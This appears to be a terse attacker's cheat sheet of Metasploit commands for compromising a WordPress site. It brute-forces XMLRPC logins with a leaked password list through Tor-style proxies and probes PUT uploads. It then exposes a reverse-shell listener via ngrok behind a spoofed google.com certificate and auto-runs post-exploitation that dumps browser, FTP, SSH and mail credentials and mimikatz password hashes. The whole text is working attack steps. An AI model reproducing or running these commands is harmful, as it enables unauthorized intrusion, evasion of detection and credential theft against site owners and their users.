msfconsole -qx "
use auxiliary/scanner/http/wordpress_pingback_access;
set RHOSTS $WEBSITE;
set RPORT 443;
set SSL true;
run;
exit"
Brute force XMLRPC with Multitor
msfconsole -qx "
use scanner/http/wordpress_xmlrpc_login;
set RHOSTS $WEBSITE;
set RPORT 443;
set SSL true;
set USERNAME admin;
set PASS_FILE /usr/share/seclists/Passwords/darkweb2017-top10000.txt;
set THREADS 10;
set STOP_ON_SUCCESS true;
set Proxies socks4:127.0.0.1:16379;
run;
exit"
Scan PUT Methods
msfconsole -qx "
use auxiliary/scanner/http/http_put;
set RHOSTS $WEBSITE;
set RPORT 443;
set SSL true;
set PATH /wp-content/uploads;
run -j"
Start Ngrok
ngrok tcp 4444 >/dev/null 2>&1 &
Define ENV Ngrok
NGINFO=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels); \
NGHOST=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/([^"]*):.*/\1/p'); \
NGPORT=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/.*.tcp.*.ngrok.io:([^"]*).*/\1/p')
Cert Spoof
rm -rf /home/$USER/.msf4/loot/*
msfconsole -qx "
use auxiliary/gather/impersonate_ssl;
set RHOSTS google.com;
run;
exit"
Define ENV Cert
CERT=/home/$USER/.msf4/loot/$(find /home/$USER/.msf4/loot/ -type f -name "*.pem" -printf "%f\n" | head -n 1)
Post-EXP
cat > /tmp/post-exp.rc << EOF
getprivs
getsystem
run multi/gather/firefox_creds DECRYPT=true
run multi/gather/filezilla_client_cred
run multi/gather/ssh_creds
run multi/gather/thunderbird_creds
run multi/gather/wlan_geolocate
mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
bg
EOF
msfconsole -qx "
use multi/handler;
set PAYLOAD php/meterpreter/reverse_tcp;
set LHOST $NGHOST;
set LPORT $NGPORT;
set ReverseListenerBindAddress 127.0.0.1;
set ReverseListenerBindPort 4444;
set HandlerSSLCert $CERT;
set StagerVerifySSLCert true;
set StageEncoder true;
set AutoRunScript /tmp/post-exp.rc;
run -j"
